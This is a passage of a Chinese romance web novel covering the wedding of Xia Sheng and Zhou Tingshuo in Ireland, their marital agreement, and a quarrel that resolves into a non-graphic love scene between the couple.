倒是周仪娇本人并不多气闷,甚至还能自嘲开开玩笑。 “看来我就没有嫁人的命,不然留家里当个老姑娘得了,反正家里也养得起。” “别胡说。”薛宁玉倒不是训斥她,更多是怕一语成谶,“你样貌家世都不差,多得是选择,回头妈妈好好给你选。” 一听这话,周仪娇马上拒绝。 “您可饶了我吧,我宁愿以后跟我哥一样,专心事业,也不想搞这些乱七八糟了啊。” 吃饭时,薛宁玉显然还放不下心思,又细数起几家有适龄人选的,准备过后找人搭线。 这次是周庭朔劝她先别急。 “总不能让人以为我们周家多急着嫁女儿,刚退婚就又找下家。” 话是如此,等回去的路上,夏声又悄声问他。 “那沈余竟做这么不地道的事,就这么算了吗?” 周庭朔出差一路行程都很满,这会儿靠坐在夏声的副驾,半阖着眼。 “你猜。” 他自然不会让周仪娇平白无故吃这么个亏,沈余竟开始还跟他力争到底,嘴硬不肯承认。 后来等证据甩到他面前,这才认下。 这种态度,周庭朔自然一点没留情面。 夏声不让他卖关子,他支着额头,嗓音平缓。 “他们家用了半年才拿下来的那块高铁新站旁的地,给我了。” “回头投点钱建个酒店,写在娇娇名下,日常营收也够她零花了,算是给她的补偿吧。” 难怪周庭朔管她那么严,周仪娇惧怕他,却仍然肯听他的。 这样宠的哥哥,谁不羡慕。 连夏声都感叹:“唉,可惜我是独生女,要是也有这么个哥哥给我仗势,我还努力什么。” 闻言,周庭朔挑起眼尾看她,无奈笑笑。 “需要我提醒你吗,这位哥哥现在是你丈夫。” “那又不一样,哥哥是哥哥,丈夫是丈夫。” 当然,她随口说的话,并没注意到周庭朔看向她幽深的目光。 回到碧水华汀,因为他刚结束长途出差,晚上休息得早一些。 夏声在客厅陪福宝玩了会,又处理些工作,等回卧室时,灯已经熄了。 为了不打扰他,夏声就着手机屏幕的光线摸到床边,结果刚一躺下,就被人拽进怀里。 她被吓了一跳,鼻子差点撞上他胸口,赶紧用手挡了下。 随及,才感觉到有些不对劲。 手心下是温热的皮肤,没有任何阻隔。 “周庭朔,你睡衣呢?” 她刚问出口,就自己找到答案了。 手被他带着上下摸过一遍,明显他就没有穿。 都是成年人,况且是在床上无比契合的合法夫妻。 夏声被他这样撩拨一阵,不自觉咽了下口水,低声问他。 “你忙了几天了,不累吗?” 周庭朔撑起身子,将她困在身下,凑在她耳边吐气。 “我虽然不年轻了,倒也不至于那么不中用。” 紧贴着她的身体早就蓄势待发,夏声耳朵被他弄得痒,干脆勾着他的脖子主动吻过去。 本是小别胜新婚的情致,可慢慢夏声觉得有些不对。 当周庭朔撕开第二个包装,夏声想要叫停时,他拉着她的手按在自己的人鱼线上方的腹肌上。 “好好感受,摸仔细。” 这什么特殊癖好,他从前并没有。 夏声暗暗叫苦,每次手不自觉放开,就被他再一次按回去。 反反复复,乐此不疲。 直到他还想去床头柜拿第三个,她说什么也不让了。 “你差不多得了,很晚了,你不累我还累。” 周庭朔停在她身前没动,随后哑着嗓子问她:“还满意吗?” 这服务意识能不能用在别的地方…… 夏声不好意思开口,沉默咬着唇。 “看来是不满意。” 也是在这一刻,一个念头从夏声脑海中闪过。 难道是,他在意那天自己在酒吧摸了别人的腹肌? 她赶紧制止他的动作:“那天我摸那人纯粹是意外,他身材远不如你。” 为显示自己诚心实意,夏声手指在他胸腹顺着线条描绘。 “真的,你堪称完美。” 话音刚落,就感受到手指下的肌肉逐渐紧绷,周庭朔呼吸重了一拍,随后握住她的手腕用力按在床上。 他的吻又落下来。 最后,是她软着嗓音求饶,他才意犹未尽地将人抱到浴室去。 再次躺到床上,夏声累得眼皮发沉。 被他搂进怀里时,她呢喃一句。 “不行,婚礼前我要先跟你约法三章了。” 第78章 第78章签卖身契吗 约法三章不是说说而已。 第二天一早,夏声就将几条几列说得清楚。 例如,以后对方若有令自己不舒服的举动,要及时提出,不可以积攒一起秋后算账,更不能自己默默消化最后冷战生闷气。 彼时两人都刚醒,周庭朔勾着一缕她的头发把玩,轻笑着答应。 “那天我倒是想当场算帐,可惜你远在几千公里之外。” 夏声正在构思下一条,闻言反应了一会,才抬起眼皮瞪他一眼。 “你算帐不能用点正经方式!” 勾着发尾的手指一松,顺着她的手臂轻轻向下滑:“我哪里不正经了?” 这感觉又痒又麻,夏声拥着被子起身,三两下穿上睡衣外衫下了床。 回头看他。 “再加一条,以后夫妻义务最多一周三次。” 周庭朔本不是重欲的人,只是遇到夏声总有些失控的时候,这会儿被她煞有介事地提出来,倒显得他荒淫无度一般。 他跟着翻身下床,一起走进浴室洗漱。 “还有要补充的吗?” 电动牙刷的嗡嗡声时停时响,夏声对着镜子看旁边的人。 好像一直都是她在提要求,有点霸权主义。 她低头漱漱口:“你呢,有什么需要我遵守的?” 此刻夏声头顶带着一只绿色的洗脸束发带,软乎乎的材质上戳着一对圆滚滚的仙人球。 清爽干净的脸完全显露出来,更衬得五官清丽温婉,像顶级的琥珀透着股清灵劲儿。 周庭朔一瞬不瞬地看着她,突然抬手捏了捏她软嫩的脸颊。 “有。”在夏声逐渐不满的表情中,他笑着补充,“以后无论如何生气,不许分房睡。” 夏声拂开他的手,自己揉揉腮肉:“不生气可以分房睡?” “也不可以。” “……” 就算结婚了,也总要有点个人空间,天天腻在一起,还不早早看厌了。 两人吃饭时,夏声还在着意商量。 “偶尔一人一床睡多好啊,比如我生理期的话,分开睡谁也不碍着谁,就很合适。” “而且你客卧为我那么用心装修的,要是不去睡,还不如不要那屋的床了。” 周庭朔放下筷子,用餐巾擦了擦嘴,点头。 “倒也是,回头把那床搬出去,换些别的用得上的。” 夏声:鸡同鸭讲。 多说无用,等两人去衣帽间换衣服时,夏声已经懒得讨论了。 周庭朔依旧是衬衫西服三件套,很快就换好衣服,只是在挑选领带时,略有犹豫,随后看向另一边的夏声。 她正在衣柜前打量自己要穿哪套。 晚上有个商务宴会,她要陪周庭朔一起出席,中途又懒得回来专门换一次衣服,正犯难,转头对上他的目光。 “怎么了?” 周庭朔偏头指指玻璃柜,里面一格格皆是卷放整齐的领带。 “给个意见。” “你要穿什么,我好搭配。” 一听这话,夏声几秒钟之内有了主意。 她走上前,视线从一排排领带上掠过,最终手指一停,挑出一条金沙淡粉的素纹领带。 “就它吧,正好配我今天穿的裙子。” 周庭朔的目光落在她手上,表情有些抗拒。 这条是之前祁家骏送的,崭新,从未戴过。 夏声一副得逞的表情,他略一沉吟,很快便领会她的意图。 这是她在借机表达他不许分房睡的不满,正在跟他算帐。 于是他上前一步,略微扬起下巴。 “会打吗?” “当然。”夏声将领带比到他胸前,随后搭到他肩膀上,转身就走,“不会。” 一整天,明箴上下都在讨论这条粉色领带。 倒不是说他配上这条领带有多么难看,相反他冷皮冷脸配粉色系,别有一份独特的反差调性。 但一贯内敛沉稳的周庭朔周总身上,能看到深色系以外,特别是这么粉嫩的颜色,很难不让人怀疑,他被人夺舍了。 中午休息时,秘书处里一众人终于逮到何归路过。 “何助理,快给我们揭秘一下,今天周总怎么回事。” “这粉领带什么来头?” 何归下意识看了眼紧闭的办公室门,说出自己的猜测。 “我不知道,但应该不是他自己选的。” 当晚,与周庭朔一起出席宴会的公司同事为大家解惑了。 挽着他臂弯的周太太,一身同色系的礼裙,腰身款款巧笑焉焉。 两人般配到,已经没人注意到粉色跟周庭朔是多么不搭,反倒一对璧人,衬得浑然天成。 原本是捉弄他的一招,可一晚上下来,夏声觉得他越发从容自得。 甚至时不时,他还会看着她正正领带,低声夸她挑得好。 反倒是自己,被周仪娇发来的公司论坛帖子亮瞎了眼。 【每天都是ddl:天呐,我宣布以后我不许任何人忤逆夏周cp!】 【躺平中:我也不想嗑,但这也太对了。】 【咖啡不加糖:想象一下,老板任由老板娘系上粉色领带,一脸无奈又宠溺的样子,我都觉得他有点可爱了。】 被讨论的当事人夏声现在就是后悔,怎么还给他可爱上了。 当回家后,那条粉色领带将她的双手绑上时,她更后悔了。 简直自作自受。 所以第二天,周庭朔让她去明箴一趟时,夏声是拒绝的。 但司机已经到她公司楼下来接,她拖了半天,拗不过还是只好走一趟。 好在到了明箴,直梯直上三十二层,她甚至没理会秘书处人们的招呼声,闷头快步走进他办公室。 周庭朔正站在百叶窗前,不知在看什么。 夏声走到他身边,顺着他视线向外看:“干嘛一定要我过来?” “骗你来签卖身契。” 所谓卖身契,是两人之前没能签成功的婚内财产协议。 这次来送协议的不是卓冕,而是他们律所另外的律师。 他将协议条例一一讲解清楚,着重陈述夏声的权益是如何保障的。 夏声握着笔,抬眼看向周庭朔:“我怎么觉得这像你的卖身契。” 后者靠坐在沙发上,抿一口咖啡,神色自若。 “嗯,也可以这么看。” 上次夏声不肯签,是存着一份对未来的不确定。 但这次,她洋洋洒 洒,几笔落款。 反正她的还是他的,最终都是他们的。 至于为什么周庭朔还执着于这份协议—— 大概想在婚礼前,给她足够的诚意与安全感,让她可以坚定地选择。 签完协议,夏声还要回公司忙,她跟律师一同下楼,想了想还是在回去的路上给卓冕打了个电话。 彼此很久没联系,倒有些生疏。 夏声先开口:“最近很忙吗,今天没亲自过来。” “嗯,刚接了个跨国反垄断的案子,这几天在美国。” 她看眼时间,有些抱歉:“不好意思啊,我不知道你出国了,你那边是凌晨吧。” 卓冕的声音清晰温淡,并不像睡梦中被吵醒的样子。 “没关系,埋头看了一晚上卷宗,谢谢你打来电话,正好让我喘口气休息会。” 与卓冕相处的过程总是这样,让她舒适放松,不会尴尬。 夏声自然知道这是他多年的教养,以及他对她的一份包容。 “那我……先不打扰你了。” 在她要挂断前,卓冕叫住她。 “你放心,你们的婚礼我会按时参加,作为你们最好的朋友,没有缺席的道理。” “不过新婚礼物,我就不送了,给你们拟协议可是我无偿奉献,他周庭朔得的好处已经够多了。” 他的语气轻松,带着些许调侃。 夏声笑着答:“好。” 正午的太阳从厚重的云团后跃出来,阳光倾泻而下,一如夏声心情,如释重负。 而在大洋彼岸的卓冕,放下挂断的电话,默默站在曼哈顿黑沉的落地窗前。 聪明如他,自然知道夏声打来电话的意图。 他跟周庭朔是多年的好友,如果因为她而闹僵了关系,难免会让她心生遗憾。 而进退有度,温文尔雅,是他一手在夏声心中树立起的形象。 哪怕到最后一刻,他也要维持住。 从今以后,他将只会是她,他们,最好的朋友。 * 临近婚礼,要准备的事多起来。 夏国理最近身体越来越好,听说要出国,十分期待。 夏春燕给他买了两身新衣服,跟夏声视频时他还特意穿上给她看。 “瞅瞅爷爷这身还像样吧。” 大姑姑在一旁帮他整理衣领,偶尔叮嘱夏声几句。 她家的儿媳马上要生了,她走不开。 “老爷子日常需要服用的药我都放在他随身的包里,每天每次的用量都分好了,你记得让他吃。” “还有他最近容易上火,那边如果天气干……” 夏国理赶紧打断女儿的唠叨。 “行了,让你说得我这小老头好像生活不能自理一样。” 姑侄俩相视一笑,都顺着他没再继续这个话题。 夏声倒不担心,这边已经安排好,让夏国理先飞到京市,再跟周家的人一起去爱尔兰。 薛宁玉早已打点完,将照顾老爷子的事全权揽在自己身上,让夏声放心。 毕竟她跟周庭朔要提前几天过去,彩排对流程,还要确定下现场布置。 安真在龙泉的拍摄并没结束,但她还是先回京市帮夏声张罗。 试妆那天,她盯在化妆台前,从口红色号到眉毛弧度,简直到了吹毛求疵的地步。 定妆的那一刻,她抱臂站在夏声面前,摇摇头。 “便宜了周庭朔。” 实在是全妆全发的夏声,完美得不真实。 晚来一步的周仪娇让人将婚纱拿出来一起上身,看看效果。 安真是第一次亲眼看到这件婚纱,之前只听周仪娇说过,她哥重金定做,如何如何不得了。 等满裙摆的切割钻闪得她眼睛疼时,她默默认可。 ——倒也不算便宜他吧。 第79章 第79章想见你,立刻 爱尔兰的冬季阳光充足,风裹挟着湿润的空气,倒并不算冷。 夏声难得抽出一点闲暇时间,在温暖的贵宾室做全身护理。 手机上是回不完的消息,不过她还是点开置顶对话框。 【周庭朔:几点结束,我去接你一起吃晚饭。】 【夏声:按习俗,今晚我们不能见面,你跟祁家骏他们去吃吧。】 【夏声:你应该还有个单身派对之类的。】 【周庭朔:?】 这些也都是夏声道听途说,不过大部分男人都要在结婚前狂欢一夜。 【夏声:以祭奠你即将逝去的自由快乐的单身生活。】 一旁的安真将她手机抽走,又指挥护理人员将她肩颈部分着重按摩。 “明天结了婚,你们躺床上有的是时间聊,这会儿好好闭上眼休息会。” 这几天安真事无巨细地帮她张罗,所有事都陪她一起,倒让夏声少了些手忙脚乱。 于是,她安心听从排,闭上眼睛。 随后就听到安真叫人再给她敷一张眼贴,又换了一张不知什么功效的精华面膜。 忙了几天的夏声,夜里原本早早被安真拉回房间睡觉。 但就像大考前夜,人突然就来了精神,睡意全无。 只好又去隔壁房间叫来安真和周仪娇,三个人点了些吃的,坐在地毯上组队打游戏。 新开局的间隙,夏声收到周庭朔发来的照片。 豪华包厢内,半暗的光线照出桌上琳琅满目的酒,旁边是祁家骏搭着卓冕的肩膀说话,任珩在稍远些的桌边打牌,还有一些人在唱歌。 【夏声:别喝太多,小心明天头疼。】 下一秒,另一张照片发来。 带着婚戒的手捏着一只浅口瓷盏。 【周庭朔:我喝茶。】 哪有人婚前的单身派对喝茶的,夏声轻笑出声。 她又转头看向自己身边,安真正捏着嗓子在游戏大厅发语音。 【有没有厉害的小哥哥带飞,滴滴。】 周仪娇在翻自己好友列表,找在线大神。 嗯,新婚前夜组队打游戏,好像自己也没好到哪去。 【周庭朔:你早点睡,明天有得忙。】 【夏声:睡不着。】 几分钟后,他的电话打来。 夏声起身到一边的高脚凳坐下,听到周庭朔那边有人说他不厚道,不喝酒就算了,还自己躲一边打电话。 “你那还挺热闹。” 周庭朔找了间安静的套间,坐在软椅上摁了摁额角,问她。 “怎么睡不着,不怕明天起来挂着两个黑眼圈?” “反正也化妆,刷那么厚的粉,什么都遮住了。” 听筒里传来他低低地笑声:“其实我也睡不着。” 两人在一起时,每次周庭朔入眠都很快,夏声一直认为他没有睡眠困扰。 但也能理解,毕竟明天他就要告别“自由之身”了。 “不舍得你最后一个单身夜?” 那边周仪娇已经在冲她招手,让她回去加入战局,夏声却突然听他开口。 “声声,我想见你。” “啊?现在?” “嗯,现在,立刻。” 说着,他已经从软椅上起身,拿起外套和车钥匙,出门。 夏声考虑了一会,低声回应。 “那你等我一会儿。” 她跳下高脚凳,借口自己有些闷,想出去透透气。 两姐妹还想陪她一起,夏声拿着大衣,一边往外走一边说不用,一会就回。 偷偷摸摸地跑下楼,在酒店门口果然看到熟悉的身影。 夏声裹紧大衣,一路小跑过去,身影刚到 车边,那人便把车门打开,几分钟后,车灯已拐上空敞的主街。 “我都没敢说自己是出来见你,不然安真肯定要拦住我。” 周庭朔右手握住她的手,轻轻捏了捏。 “一样,我也是悄悄出来。” 爱尔兰的深夜足够静谧,大街上很少见人,夏声转过头跟周庭朔相视一笑。 “这氛围,怎么像逃婚。” “逃婚?那我现在应该将你绑好,找个暗无天日的地方,锁起来。” 难得他这样煞有介事地胡说,夏声笑着说他有做悍匪的潜质。 车子漫无目的地开了一会,最终停在不知名的街道旁边。 周庭朔将车子的全景天窗打开,两人座椅放倒,静静躺着看星星。 稍冷的风吹进来,夏声手指勾下刮到嘴边的头发,突然看到一颗星从天边划过。 “流星哎。” 她指了指星星消失的位置,听到周庭朔问:“不是可以许愿,你怎么不许?” “我好像没什么愿望要许。”她笑笑,眼尾都是温柔痕迹,“人总不能太贪心。” 此刻,她躺在爱人身边,呼吸着清冽的空气,看着夜幕繁星。 很平静,很满足。 也许是太过安逸,很快夏声开始犯困。 在意识快要神游时,突然听到周庭朔放轻的声音。 “但我很贪心,想听你说喜欢,说想念,说爱。” “可某人很吝啬,一次没说过。” 闭着眼的夏声仔细回想,发现好像是这样。 但最开始要表白的人明明是自己,还不是当时因为他木头一样的煞风景,将好氛围给浪费掉,这又不能怪她。 她决定装没听见。 半个小时后,两人回到酒店楼下。 车子刚停,安真就打来电话问她到底去哪了。 她应付几句,告知马上就回去,正准备推车门下车,周庭朔拉住她。 夏声回头。 两人的目光在空气中相交,勾缠,紧锁。 周庭朔抬起她的下巴,一寸寸靠近,直到柔软的唇贴上来,慢慢引导着夏声回应他。 唇瓣被他吮吸,轻咬,夏声挺起背双手勾上他的脖颈。 放缓的呼吸渐渐变烫,夏声沉浸在这个缠绵的吻中,心跳不自觉加快。 周庭朔的手撑在她腰侧,轻轻摩挲。 半晌,夏声被吻得脸发烫,唇发麻,挣了挣才推开他。 周庭朔半垂着眼睑,看向她的目光浓稠到仿佛有了实体。 恋恋不舍地又凑上前轻轻触碰了几下她的唇角,夏声抬手捂住他的嘴。 “好了,化妆能挡住黑眼圈,嘴巴肿了可挡不住。” 此刻,已近午夜,她回去还能勉强睡几个小时。 夏声仰头在他鼻梁上印下一吻。 “明天见了,我的新郎。” 周庭朔看着她的身影翩翩远去,缓缓勾唇。 就如一只松鼠抱着心爱的榛果,在湿软的土上刨坑藏好,又踩了踩的踏实感。 他现在,就像是那只松鼠。 而捧在手心的心爱之人,明天就要嫁给他。 * 婚礼仪式在傍晚开始,故而夏声起得不算早。 她的大学室友们早就聚到她的套房里,等她出来时一群人已经围着她的礼服和婚纱感叹半天了。 婚礼全程一共准备了两套主纱,和五件礼服,加上每身都有配套的首饰婚鞋,林林种种码了一大排,她们挨个看过去,感叹词除了“我去”就是“天呐”。 因为夏声不想太麻烦,接亲闹房的流程一应都省去,下午直接在古堡准备仪式即可。 她上午的主要任务就是配合跟拍,拍些晨起的照片和视频。 早餐已经变成早午餐,夏声坐在餐桌前,看金楠楠和沈习诗围那不知道在研究什么,转头问安真。 “她们干嘛呢?” “在讨论你那双CL红底到底限量几双。” 夏声:…… 没一会,沈习诗跑过来,坐在夏声身边大声感慨:“你这豪门阔太当累没,累了让我演两天。” 赵茹笑她:“你还不如问她老公的朋友有没有缺女友的,给你介绍介绍。” “有啊,一会婚礼你们看好哪个直接去要联系方式好了。” 听夏声真说有,沈习诗转头就去找镜子,半晌传来她的答案。 “啧,还是算了,做梦可以,自知之明我还是有的。” 没一会作为伴娘的周仪娇跟化妆师一起进门,她手里还拿着夏声出门时需要的捧花。 “我哥那边真清闲,这会儿居然还有时间接工作电话,嫂子你该化妆了吧。” 说着,周仪娇转身从房间的保险箱里把那套薛宁玉送来的天使之心拿出来,近八克拉的粉钻差点闪瞎沈习诗的眼。 沈习诗低声跟赵茹嘀咕:“那个,要不我努力努力?搏一搏,这可不是单车变摩托,直接变火箭啊。” 赵茹:“醒醒,咱们的单车最多变成三轮车。” 傍晚十分,夏声乘坐的豪华加长婚车停在路特尔斯顿城堡门口。 复古的烫金铁艺门大开,酒红色地毯铺至门前。 夏声由人扶着下车,便看到作为小花童的周灵熙。 她穿着纯白的纱质蓬蓬裙,手里提着装满玫瑰花瓣的花篮,冲她咧嘴笑。 “小婶婶,你今天漂亮得像仙女。” 夏声弯身帮她理了理裙摆,刮了下她的鼻尖。 “你也漂亮。” 从古堡内传出的管弦乐声愈发清晰,夏声一步步走近,竟生出几分紧张。 等到在后台休息室看到夏国理,一颗心才安定一些。 老爷子穿着薄尼改良中山装,银白的头发梳得一丝不苟,颇有些民国时期老先生的气派。 “我们声声长大了,成家立业了。” 他笑得欣慰,弯起手肘,等着夏声。 “爷爷今天送你出嫁,咱们高高兴兴的。” 夏声挽上去,随着老爷子沉稳的步伐向前厅走去。 红木高门紧闭,夏声踩在柔软的地毯上,等待着属于她的一刻到来。 直到庭院钟声敲响,身着白衬衫的侍者从两边将门推开。 逆着耀眼的灯光,夏声一眼便看到远远挺立的身影。 他伴着悠扬的乐声,一步步坚定向她走来。 第80章 第80章我们不适合谈恋爱…… 祖母绿的天鹅绒桌布,复古廊花烛台,拱形瀑布花墙,木质高椅后的绸缎蝴蝶结。 所有的一切都恰到好处,堪称完美。 但周庭朔的目光一直落在夏声身上,眼里根本看不进其他。 哪怕头顶千颗水晶嵌制而成的吊灯,也不及她耀眼。 夏国理将夏声的手交给他,表情郑重。 “庭朔,声声以后就拜托你了,别让她伤心,更别让她委屈,爷爷相信你,希望你不要辜负爷爷的信任。” “我明白,爷爷放心。” 整个过程,夏声都半垂着视线,她发誓不能在婚礼上流泪,可听到爷爷的嘱托,还是会眼底泛酸。 好在后续礼程再没有什么催泪的环节。 宣誓,亲吻,交换戒指。 在共同放飞和平鸽后,两人一起去后台换衣服。 路上周庭朔一直牵着她的手,握得很紧。 夏声的婚纱换起来麻烦些,工作人员已经迎上来要带她去换衣间,周庭朔却突然拉住她。 手腕微微用力,夏声扑进他怀里。 耳边是他压低的声音:“现在你是我名副其实的妻子,想逃婚都没用了。” 夏声怔了一瞬,随后双手绕到他背后,回抱他。 “你也是,再想怀念单身时没人管的生活也没用了。” 沉沉的笑意传来:“我求之不得。” 晚一步赶来的周仪娇在身后拍拍手。 “我的好哥哥好嫂子,赶快去换衣服吧,一会第一支舞还等你们开场呢。” 周庭朔这才放开夏声,垂眸看着她:“一会见。” 周仪娇陪着夏声去换衣服,边走边小声吐槽。 “看来公司论坛吃瓜的同事还是保守了,他哪是宠妻啊,这妥妥是老婆奴,一会不见都要腻乎。” “唉……他在我心中的高冷形象算是全崩了。” “不过,嫂子你是怎么把他调教成这样的?” 夏声摘下头纱,把脖子上贵重的项链小心递给她收起来。 想了想,摇摇头。 随后她问出心中盘旋已久的疑问:“你们公司论坛真有那么多讨论这些的?” “你哥一直没看到吗,这些帖子竟然还没被清理。” 按照周庭朔的性格,不可能任由公司论坛去讨论他的私事。 周仪娇神秘地笑笑,悄悄告诉她。 “何助理说他早看到这些帖子了,什么也没说。” “我怀疑他本人没事都会上去偷看,没准儿一边看,一边暗爽呢。” 夏声不太信,毕竟那画面确实有点难以想象。 晚宴开场前,夏声和周庭朔又重回现场,她换了一身杏粉色缎面长裙,手上戴着黑色过肘手套,穿着稍矮些的短跟舞鞋。 周庭朔则一身纯白燕尾服,领结打得板正。 绅士十足的向她弯腰鞠躬,邀她跳第一支开场舞。 两人相拥的那刻,他低声问她是否还记得怎么跳。 曾经在碧水华汀的客厅练习过的,华尔兹基本舞步,夏声自然不会忘。 她跟着旋律,配合他的步伐,将裙摆转出优美的弧线。 被他收回怀里时,还自信地扬起下巴:“怎么样?” “嗯,跳得不错。” 一曲终了,他们的任务总算告一段落。 夏声准备找地方喝点东西缓口气,转头看到角落里安真被祁家骏堵着,两人似乎聊得并不愉快。 “怪不得半天没看到她了,他们聊什么呢?” 身后周庭朔揽上她的肩膀,给她递来一杯果汁:“别担心,他有分寸。” 倒真如他所说,祁家骏只说了几句话便转身离开,安真在原地站了一会,之后独自穿过舞池,往一旁的休息室去。 之后,夏声忙着招待客人,敬酒聊天,直到晚宴结束,才终于卸下快要笑僵的表情。 倒是周庭朔还神情自如,仿佛一点都不累。 夏声摆脱安真和周仪娇帮她善后收尾。 做了一天完美新娘,她腰也酸脚也痛,回到房间也不顾及欣赏那些浪漫的布置,去浴室洗过澡便钻进被子躺着。 周庭朔洗完出来时,她像是已经睡着了。 嫩白的肩头露在被子外,红色的睡裙细带落下来,再往上是她温润的唇和挺俏的鼻尖。 他关掉灯,放轻动作躺到她身后,将她抱进怀里。 睡得朦胧的夏声转过身向他怀里挪了挪,语气嗡嗡闷在他胸前。 “我听说苏晋今天在妈面前摊牌了,说要娶娇娇。” 她睡前收到安真的消息,对面难得夸苏晋是个男人,总算做回像样的事。 周庭朔手腕搭在她的腰窝上,隔着薄薄的睡裙轻轻摩挲她的背。 “嗯,很少见他这么不稳重的时候,估计也是真急了。” 他那个妹妹平时看着没什么主见,追人时又一腔热血,没想到说放弃也放弃得彻底。 前几天苏晋请假,说要来参加婚礼,他就知道人肯定是冲周仪娇而来。 应该是一时半刻无法攻克她的心结,又怕再有什么联姻的事冒出来,苏晋这次直接从薛宁玉身上下手。 “追人追到丈母娘面前,他也是另辟蹊径了。” 窝在他怀里,说话实在闷,夏声动了动,又转过身去准备睡觉。 身后周庭朔很快贴过来,手从她的腰腹慢慢往上。 原本困倦的夏声立刻拉响警铃,赶紧制止他的动作。 “我人都要散架了,累死了,不要。” 温热的气息靠近,随后在她颈后轻吻。 上抬的手来到她肩膀,将她掉落的肩带提上来。 周庭朔轻笑:“想什么呢,快睡吧。” * 原本婚礼结束,周庭朔想直接安排旅行。 但云声文化那边有个重要的合同需要跟进,夏声一再保证等忙完这一阵两人就补蜜月,周庭朔只能跟她先回国。 倒是他们的朋友们,好多留在欧洲直接开始跨年巡游。 夏声在群里总能收到赵茹和沈习诗的照片,她们跟任珩搭上伴,还有几个周庭朔的朋友,一路从爱尔兰玩到挪威,还去看了极光。 【金楠楠:我恨,为什么只有我没假期!】 【赵茹:你有编制,不能既要又要。】 【金楠楠:那为什么你们既能旅游,又有帅哥作陪,既要又要都有了!】 忙了一整天的夏声关掉群聊扔下手机,端起咖啡杯站到办公室的窗前发呆。 其实婚礼后和之前的生活比,没什么变化。 这几天她忙着工作,周庭朔也时常加班,两人更像住一起的床搭子。 有时一天两人都醒着见不上一面。 比如,今天周庭朔穿什么衣服走的她都不知道,反正睁眼时,他人已经不在家了。 她抿口咖啡,呢喃一句。 “还真有点想他了呢。” 看眼时间,刚到五点。 想了想,她给周庭朔播了个电话。 等待十几秒,对面始终没人接,夏声干脆直接拿着车钥匙开车去他公司。 可非常不凑巧的是,到他公司才知道,他这会儿并没在。 “周总下午就去分部视察工作去了,一直没回来。” 她又打了次电话,好在没接是没接,几分钟后又给她回过来了。 “怎么,有什么事这么急着找我?” 夏声一般不会接连给他打电话,今天也不是有事,纯粹是忙得太久,突然歇下来,就很想见他。 “你今天还要忙很晚吗?” 对面背景音的交谈声被打断,大概是他在听汇报。 紧接着传来开关门的声音,话筒里安静下来。 “晚上有事找我?” “那我早点回去。”他思虑片刻,“尽量七点前回去,可以吗?” 夏声很满意他的配合:“那我订个餐厅,晚上在外面吃吧。” “好。” 前两天新开了一家泰餐,很受欢迎,夏声打电话定了位置,又在周边逛了逛。 等差不多快七点,就先去餐厅等着。 结果刚一落座,周庭朔又打来电话说出了点情况,可能要晚些。 夏声只好表示理解,挂断电话时看着裱装精致的菜单,直接决定自己吃好了。 一个小时后,饱餐一顿的夏声又去做了个头发,直到快十点才回碧水华汀。 周庭朔比她还早一点到家,见她换了发型,不由多看了几眼。 过背的长直发变成了波浪卷,别有一番随性慵懒的风格。 “怎么突然想着换发型?” 夏声放下包,随口“嗯”了一声,转头去逗福宝。 情绪显然不佳,周庭朔也知道今天自己爽约不对。 “我道歉,今天让你白订了位置,没能按时赴约。” 福宝凑在夏声手边吃她手心里的猫草零食,她手心痒痒的,眉梢缓和下来。 “没事,也不算白订,我自己吃了。” 话虽如此,但人是一点不正眼看他。 她心里就是不高兴了。 好不容易主动约他一次,结果就被他放鸽子,回到家见她换了形象,也就是嘴上问一句。 明明店员都夸她换了发型更漂亮精致了,比明星都不输,他却愣是一点反应没有。 夏声认清,现在只有自己想对方,他可无所谓的。 她不高兴时就不爱说话,周庭朔看她沉默的样子,知道她就是生气了。 “约法三章里不是说好,有不满要及时说。” 他走近,将人从地上拉起来,盯着她的眼睛。 “明天我们补一个约会,这样可以吗?” 现在不是约不约会的事,夏声酝酿片刻,抬眼。 “周庭朔,我觉得咱俩可能犯冲,不适合谈恋爱。” “上次,我带你去我学校一日约会,甚至那天我都想,如果氛围刚好我就告白,结果你处处给我添堵。” “今天我难得约你一次,结果你偏偏又有事来不了。” 她压下唇角,丧气地回忆起过去种种。 “还有,那晚我喝醉了,在洗手间里,你问我喜不喜欢你……” 想到这,她委屈劲就上来。 “幸好我那天看到你的手环,才没做一厢情愿表白的傻子。” “什么一厢情愿?”周庭朔抓取到关键词,追问,“手环又是什么意思?” 夏声“哼”了声,不满地将他手拉起来,手指点了点他的手腕。 “就是你当时戴在这的,最新款运动检测手环,号称全球最精确,绝不可能会错。” “你在逼我跟你表白心迹的时候,心跳就75。” “75!”夏声又强调一遍,“我随便登两级台阶心跳都比这快。” “自己不心动,也不喜欢我,倒来撩拨我,没人性。” 夏声扔下他的手腕,转身就走。 周庭朔沉吟片刻,随后追过去直接拉着她往书房去。 “你跟我来。 ” 第 81 章【VIP】 第81章 第81章不得不信 事情怎么变成这样的,夏声也不知道。 只不过现在她被抵在办公桌前,手里拿着周庭朔的体检报告,身后就是他温热的吐息。 “你先别靠这么近。”她抬手想推开他,被他顺势握住搂在身前。 “这真是你的体检报告?心率49?” 这能是正常人的心跳吗? “还不信?” 周庭朔直接将她手里的报告抽走扔到一边,拽着她的胳膊将她转过来,直接把她的手放在他的胸前。 沉稳的心跳,一下一下,确实……挺慢的。 “心动过缓,我一直都是这样,要不要现在带上手环测给你看?” 夏声手心贴在他心脏的位置,又摸了摸,怀疑的表情总算有所缓和。 只是等她要收手时,周庭朔突然按住她的手。 眼前的喉结缓缓下压滚动,他叹了口气,渐渐靠近。 “你怎么总是怀疑我对你的感情,是我表现得还不明显?” 他身体贴着她,夏声根本分不出脑子思考,话稀里糊涂地就从嘴里冒出来。 “那一般人哪会知道这些,何况那时候你还说了那么多让我误会的话。” “你跟我结婚本来就没有感情基础,我不信很正常啊。” 周庭朔骤然低头,唇堵住她的话,轻轻咬了一下她。 夏声吃痛刚一张嘴,就被他趁隙闯入。 两人吻得投入,他扶着夏声的腰,在她身后一扫,桌面上便什么也不剩。 紧接着将她抬上桌子。 单手探进她毛衣的下摆,温热的掌心按在她的背上。 在她还没反应过来前,灵活的手指将某个搭扣勾开。 “啪嗒”一声,象征着安全的防线被突破,夏声再无还手之力。 城门大开,攻城掠地,等她想起该抵抗时,也只剩下投降的力气。 “周庭朔,你把书桌都弄乱了。” 略微沙哑的嗓音落在她耳廓:“别管,专心。” 从前夏声选购的那台纯白色加湿器正腾起一片雾气,她失焦的视线穿过那,落在后面的柜子里。 隐约间她看到里面摆着几张她的照片。 是那时在法国的海边,他拍的那几张。 “你怎么把……我照片……”她话已不成句,又被他迎上的吻吞没。 “现在还怀疑我吗?” “信不信我,告诉我。” 